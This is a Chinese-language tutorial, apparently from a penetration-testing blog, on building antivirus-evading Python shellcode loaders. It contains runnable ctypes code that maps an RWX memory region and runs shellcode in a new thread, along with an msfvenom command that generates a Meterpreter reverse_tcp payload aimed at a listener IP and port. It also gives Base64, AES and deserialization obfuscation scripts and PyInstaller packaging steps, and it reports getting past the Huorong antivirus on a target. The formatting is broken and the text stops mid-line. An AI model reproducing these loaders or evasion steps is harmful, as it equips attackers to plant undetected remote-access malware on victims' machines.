# shellcode = bytearray(b"")
# shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
# shellcode += b"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
# print(shellcode)
#msf拼接后shellcode
shellcode = bytearray(b'拼接完成shellcode')
# 设置VirtualAlloc返回类型为ctypes.c_uint64
#在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是32位
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0), #要分配的内存区域的地址
ctypes.c_int(len(shellcode)), #分配的大小
ctypes.c_int(0x3000), #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE
ctypes.c_int(0x40) #该内存的初始保护属性,0x40代表可读可写可执行属性
# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buffered,
ctypes.c_int(len(shellcode))
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0), #指向安全属性的指针
ctypes.c_int(0), #初始堆栈大小
ctypes.c_uint64(ptr), #指向起始地址的指针
ctypes.c_int(0), #指向任何参数的指针
ctypes.c_int(0), #创建标志
ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
3.将生成的shellcode放到执行代码中,运行代码,cs成功上线
MSF
上线
1.执行命令,生成shellcode
命令:msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.206.129 lport=4444 -f c
2.msf设置监听
3.将shellcode放到执行脚本中运行
因为msf生成的shellcode是有换行的,所以要进行拼接,如下图:
可以使用图中的拼接直接运行。也可以输出shellcode,使用拼接后的shellcode运行。
直接使用拼接的shellcode:运行脚本成功上线
Python-
混淆加密
-
Base64
&
AES
&
反序列化等
一、
B
ase64
编码
1.运行代码将cs/msf生成的shellcode去掉换行进行base64编码
编码代码:
import base64
shellcode = b'生成的shellcode'
s=base64.b64encode(shellcode)
print(s)
也可以使用命令直接生成base64编码的shellcode:
msfvenom -p windows/x64/meterpreter/reverse_tcp --encrypt base64 lhost=192.168.206.129 lport=4444 -f c
2.将经过base64编码的shellcode放入执行代码中,然后在执行代码中加入base64的解码代码。
解码代码:
shellcode=base64.b64decode(shellcode
)
成功构造免杀脚本,执行脚本msf成功上线
二、
AES
加密
AES
加密代码:
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import ctypes,base64
# 如果text不足16位的倍数就用空格补足为16位
def add_to_16(text):
if len(text.encode('utf-8')) % 16:
add = 16 - (len(text.encode('utf-8')) % 16)
else:
add = 0
text = text + ('\0' * add)
return text.encode('utf-8')
# 加密函数
def encrypt(text):
key = '9999999999999999'.encode('utf-8')
mode = AES.MODE_CBC
iv = b'qqqqqqqqqqqqqqqq'
text = add_to_16(text)
cryptos = AES.new(key, mode, iv)
cipher_text = cryptos.encrypt(text)
#print(base64.b64decode(cipher_text))
# 因为AES加密后的字符串不一定是ascii字符集的,输出保存可能存在问题,所以这里转为16进制字符串
return b2a_hex(cipher_text)
def zhixing(shellcode):
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
if __name__ == '__main__':
# s='''base64编码后的shellcode'''
s='base64编码的shellcode'
e = encrypt(s)
print(e)
AES
解密执行代码:
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import ctypes,base64
# 如果text不足16位的倍数就用空格补足为16位
def add_to_16(text):
if len(text.encode('utf-8')) % 16:
add = 16 - (len(text.encode('utf-8')) % 16)
else:
add = 0
text = text + ('\0' * add)
return text.encode('utf-8')
# 解密后,去掉补足的空格用strip() 去掉
def decrypt(text):
key = '9999999999999999'.encode('utf-8')
iv = b'qqqqqqqqqqqqqqqq'
mode = AES.MODE_CBC
cryptos = AES.new(key, mode, iv)
plain_text = cryptos.decrypt(a2b_hex(text))
shellcode=bytes.decode(plain_text).rstrip('\0')
return shellcode
def zhixing(shellcode):
shellcode = bytearray(base64.b64decode(shellcode))
# 设置VirtualAlloc返回类型为ctypes.c_uint64
# 在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是32位
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0), # 要分配的内存区域的地址
ctypes.c_int(len(shellcode)), # 分配的大小
ctypes.c_int(0x3000), # 分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE
ctypes.c_int(0x40) # 该内存的初始保护属性,0x40代表可读可写可执行属性
# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buffered,
ctypes.c_int(len(shellcode))
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0), # 指向安全属性的指针
ctypes.c_int(0), # 初始堆栈大小
ctypes.c_uint64(ptr), # 指向起始地址的指针
ctypes.c_int(0), # 指向任何参数的指针
ctypes.c_int(0), # 创建标志
ctypes.pointer(ctypes.c_int(0)) # 指向接收线程标识符的值的指针
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
if __name__ == '__main__':
#e='AES解密后的shellcode'
e='AES解密后的shellcode'
d = decrypt(e) # 解密
zhixing(d)
1.使用cs生成一个64位shellcode,执行代码对其进行base64编码
2.在对编码后的shellcode进行AES加密
3.将AES加密后的shellcode放到AES解密执行代码中。成功构造免杀脚本,执行脚本cs成功上线
三、反序列化
1.将msf生成的shellcode放到代码中进行序列化和base64加密
2.将经过序列化和base64的shellcode放到反序列化和base64解密的执行代码中。成功构造免杀脚本,执行脚本msf成功上线
Python-打包器
以上测试了shellcode的原生态、base64、AES、反序列化等混淆加密的免杀上线方式。但是实战不可能上传py脚本,所以要使用python打包器将py脚本打包为exe执行程序在上传。打包器也能起到免杀效果。
Pyinstall打包器
安装:
pip install pyinstaller
参数介绍:
-
F
,
–onefile 打包一个单个文件,如果你的代码都写在一个
.
py文件的话,可以用这个,如果是多个
.
py文件就别用
-
D
,
–onedir 打包多个文件,在dist中生成很多依赖文件,适合以框架形式编写工具代码,我个人比较推荐这样,代码易于维护
-
K
,
–tk 在部署时包含 TCL
/
TK
-
a
,
–
ascii
不包含编码
.
在支持Unicode的python版本上默认包含所有的编码
.
-
d
,
–debug 产生debug版本的可执行文件
-
w
,
–windowed
,
–noconsole 使用Windows子系统执行
.
当程序启动的时候不会打开命令行
(
只对Windows有效
)
-
c
,
–nowindowed
,
–console 使用控制台子系统执行
(
默认
)(
只对Windows有效
)
1.执行命令,将原生态1.py进行打包
命令:pyinstaller
-
F
1
.
py
打包后的exe程序在根目录下的dist目录中
2.将打包的脚本上传到目标系统,执行脚本,成功绕过火绒检测,msf成功上线
3.上传了四种打包后的shellcode脚本,结果原生态反而绕过了火绒检测,其他三种经过混淆加密的全部被杀。
1.生成或者python2.打开pycharm工具,创建一个py文件,将原生态执行代码复制进去shellcode3.将生成的shellcode放到执行代码中,运行代码,cs成功上线1.执行命令,生成shellcode命令:msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.206.129 lport=4444 -f c2.msf设置监听3.将shellcode放到执行脚本中运行。
def obfuscation(
py
_file, save_path):
print("读取文件:",
py
_file)
with open(
py
_file, "r", encoding="utf-8") as f:
py
_content = f.read()
print("进行
混淆
中...")
url = "https://